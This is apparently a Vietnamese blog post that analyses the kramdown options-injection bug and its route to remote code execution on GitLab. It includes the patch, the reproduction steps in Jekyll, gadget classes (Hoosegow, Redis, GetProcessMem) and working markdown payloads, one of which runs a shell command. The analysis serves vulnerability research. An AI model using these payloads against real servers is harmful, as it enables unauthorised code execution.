Khi bắt đầu bắt tay vào phân tích lỗi này. Mình chỉ có được 1 số thông tin quý giá của lyy289065406 giúp mình có thể hiểu được vấn đề cốt lõi trong bug này. Ta thấy dường như đang là lỗi ở phía gem kramdown (<= 2.3.0), vậy nên mình bắt đầu tìm hiểu tới kramdown trước.
Ta có thể tiến hành kiểm tra bản patch của kramdown, và ta thấy sự khác biệt ở hàm formatter_class tại module Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) đã chuyển thành ::Rouge::Formatters.const_get(formatter, false)
Hàm const_get được kế thừa từ class Object, nó có thể lấy được các const. Nó thậm chí có thể trả về các class đã được khai báo trước đó mà nó có thể tìm thấy. Sự khác biệt ở đây chỉ là thêm 1 tham số false. Việc thêm tham số false vào sẽ khiến const_get không thể get được các const ở lớp cha hoặc các modules.
Điều đặc biệt hơn nữa: tại hàm self.call có gọi tới hàm formatter_class rồi tiếp tục gọi new(opts). Điều đó có nghĩa là method được get về thông qua const_get sẽ được gọi Constructor để khởi tạo.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
Dựa vào Kramdown:Options ta có thể gọi tới hàm Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
Ngoài ra ta còn thấy tại module Kramdown:Options hàm simple_hash_validator đã gọi YAML.safe_load(val). Như vậy ta cũng có thể cấu hình file YML để đưa payload mong muốn tới Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
Đầu tiên thì mình cần dựng jekyll lên trước:
gem install jekyll
jekyll new jekyllTest
Gemfile.lock đưa phiên bản kramdown về <= 2.3.0cd jekyllTest
File Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Như vậy là chúng ta đã hoàn thành tạo một jekyll page. bây giờ chúng ta có thể đưa payload vào, để xem Kramdown::Converter::SyntaxHighlighter::Rouge.call có thực sự gọi được một method hay không.
ta có thể thêm vào file ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Hoặc sử dụng kramdown Document bằng cách thêm payload vào ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Ở đây mình xài cách thứ 2 =)))))
bundle exec jekyll serve
có thể bạn sẽ gặp lỗi "require': cannot load such file -- webrick (LoadError)" bạn cần thêm gem "webrick" vào Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: Điều này chứng tỏ rằng class CSV đã được gọi tới.Theo một bài viết phân tích CVE-2020-10518 sử dụng bug ở kramdown để gây ra RCE trên Github. Mình target tới class Hoosegow:
initialize của Hoosegow có gọi tới load_inmate_methodsdef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods ta thấy nó có gọi require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Mà inmate_file được tạo ra bằng cách cộng chuỗi @inmate_dir với 'inmate.rb'. Nếu ta có thể gọi tới class này và sửa tham số inmate_dir thành đường dẫn tới file payload của mình, thì chẳng phải là xảy ra RCE ở đây rồi sao?
Mình chạy một đoạn script trong path của jekyll page để kiểm tra các method đã được định nghĩa:
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" vào Gemfile và script đã tìm thấy class này. [Hệ Hệ Hệ]Hoosegow bằng kramdown xem sao{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Mình stuck ở đây.. 1 tuần. Yeb, bay màu mất một tuần vì nó. Mình xoay vòng với câu hỏi: "Tại sao trong bundler đã có class Hoosegow, nhưng khi gọi lên từ dưới Kramdown lại không được? lẽ ra nó phải được chứ ???"
Mình nghĩ: "Nếu đã khai báo trong Gemfile rồi, thì có nghĩa trong class path đã có class đó rồi. Vậy nếu chương trình vẫn không tìm thấy 'Hoosegow' thì chắc chắn là nó chưa được load lên...". Vậy còn cách nào để khai báo gem, để khi khởi chạy jekyll load gem trước khi xử lý các phần khác trong source directory ?
Mình đọc docs của jekyll và tìm thấy jekyll_plugins. Mình khai báo trong Gemfile như thế chưa đủ, phải khai báo gem trong group jekyll_plugins thì mới chịu :( vì khi khai báo gem nằm trong jekyll_plugins, gem sẽ được gọi một cách bất chấp trước khi jekyll xử lý những source khác. Ngay cả khi chạy jekyll với safe mode.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb ở C:/ rồi chạy payload:{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb đã được gọi. Như vậy chúng ta đã có vẻ gần như thành công PoC lại rồi nhỉ.
inmate.rb lên server của Gitlab và biết được file inmate.rb mình vừa up lên nằm ở đâu ??before_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. Mình đã cố gắng giải thích theo nhiều cách khác nhau: "Có thể có một cơ chế scan file .yml trước khi nó được nạp vào?",.. nhưng chúng không làm mình thấy thỏa mãn...
Mình tìm tới một con đường input khác đó là wiki page. Wiki page cho phép mình sử dụng format kramdown nên mình nghi ngờ và thử test ở đây, nhưng không có kết quả do mình chỉ đưa payload vào file default '*.md', mà file '*.md' lại bị hạn chế tính năng cần thiết nên mình đã bỏ qua con đường này :(
Đến đây mình bắt buộc phải dừng lại và chờ cho PoC được công bố để dành thời gian cho những nghiên cứu khác.
Vào một ngày đẹp trời thì PoC đã được công bố. Đọc xong thì cảm giác con gà trong mình trỗi dậy mạnh mẽ khỏi phải bàn =)).
Vấn đề cốt lõi nằm trong kramdown thì chúng ta đã đi đúng, nhưng con đường đi tới nó ở Gitlab có vẻ hơi phèn =)
Tác giả đã phát hiện khi upload wiki page với file '*.rmd' thì chương trình sẽ gọi render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Như vậy file '*.rmd' sẽ được render với kramdown.
Tác giả đã up file '.rmd' của mình bằng cách clone wiki page về local, rồi sau đó sử dụng git để push wiki page (kèm file '.rmd') lên gitlab.
Tác giả đã sử dụng class Redis (đã được khai báo sẵn ở project Gitlab, nên ta có thể gọi và sử dụng class này) để chạy payload của mình.
Khi khởi tạo class Redis, nếu có tồn tại option driver thì chương trình sẽ gọi tới hàm _parse_driver. Tại đây, chương trình require "connection/#{driver}" ta có thể tác động vào biến driver để chương trình gọi tới file payload mà mình tải lên server.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet. Attacker có thể upload ruby payload với Attach a file.Sử dụng hướng từ Kramdown gọi tới class Redis, đầu tiên tác giả import gem get_process_mem với payload
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Sau đó lại sử dụng gem get_process_mem đã import phía trước để RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Như vậy, Không cần tìm địa chỉ của file payload attacker vẫn có thể RCE trên Gitlab Server
Ref: